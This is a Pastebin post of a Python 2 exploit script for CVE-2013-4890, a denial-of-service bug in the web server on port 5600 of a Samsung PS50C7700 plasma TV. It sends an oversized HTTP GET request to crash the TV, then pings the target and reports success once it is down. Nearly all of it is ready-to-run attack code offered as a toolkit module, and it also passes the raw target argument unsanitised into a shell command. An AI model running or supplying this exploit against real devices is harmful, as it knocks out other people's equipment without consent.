r00t-3xp10it

[ netool toolkit ] 0Day -> samsung PS50C7700 plasma TV

Nov 27th, 2014
467
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.26 KB | None | 0 0
  1. #!/usr/bin/python
  2. #
  3. # Exploit Title: Samsung TV Denial of Service (DoS) Attack
  4. # Exploit Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com
  5. # module by: pedr0 ubuntu [ r00t-3xp10it ]
  6. #
  7. # Date: 07/21/2013
  8. # CVE Number: CVE-2013-4890
  9. # Vendor Homepage: http://www.samsung.com
  10. # P.O.C => http://www.youtube.com/watch?v=U-R2epNnUiM
  11. #
  12. # Description:
  13. # The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long
  14. # HTTP GET request As a results, the TV reboots...
  15. # Tested successfully on my Samsung PS50C7700 plasma TV, with the latest firmware :)
  16. #
  17. ###
  18.  
  19.  
  20.  
  21. # ----------------------------
  22. # import dependencies
  23. # ----------------------------
  24. import httplib
  25. import time
  26. import sys
  27. import os
  28. import time
  29.  
  30.  
  31.  
  32. # ----------------------------
  33. # script colorize output
  34. # ----------------------------
  35. BLUE = '\033[94m'
  36. RED = '\033[91m'
  37. GREEN = '\033[32m'
  38. WHITE  = '\033[0m'  
  39. ORANGE  = '\033[33m'
  40.  
  41.  
  42.  
  43. # ----------------------------
  44. # exploit banner
  45. # ----------------------------
  46. print BLUE+"**************************************************************"
  47. print WHITE+"  Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com"
  48. print WHITE+"  Exploit: Denial of Service (DoS) attack"
  49. print WHITE+"  module by: pedr0 ubuntu aka r00t-3xp10it"
  50. print ""
  51. print WHITE+"  Description:"
  52. print WHITE+"  The web server (DMCRUIS/0.1) on port TCP/5600"
  53. print WHITE+"  is crashing by sending a long HTTP GET request."
  54. print WHITE+"  Tested successfully on my Samsung PS50C7700 plasma TV :)"
  55. print BLUE+"**************************************************************"
  56.  
  57.  
  58.  
  59.  
  60. # ----------------------------
  61. # Sends the payload
  62. # ----------------------------
  63. print ""
  64. print BLUE+"[*]"+GREEN+" press ctrl+z to stop"
  65. print BLUE+"[*]"+WHITE+" Sending the malicious payload..."
  66. conn = httplib.HTTPConnection(sys.argv[1],5600)
  67. conn.request("GET", "A"*300)
  68. conn.close()
  69.  
  70. # ----------------------------
  71. # Checks the response
  72. # ----------------------------
  73. print BLUE+"[*]"+WHITE+" Checking the status..."
  74. response = 0
  75. while response == 0:
  76.   response = os.system("ping -c 1 " + sys.argv[1] + "> /dev/null 2>&1")
  77.   if response != 0:
  78.     print BLUE+"[*]"+GREEN+" (Success):"+RED+" the target seems to be down !!!"
  79.     print WHITE+""
  80. time.sleep(10)
Advertisement
Add Comment
Please, Sign In to add comment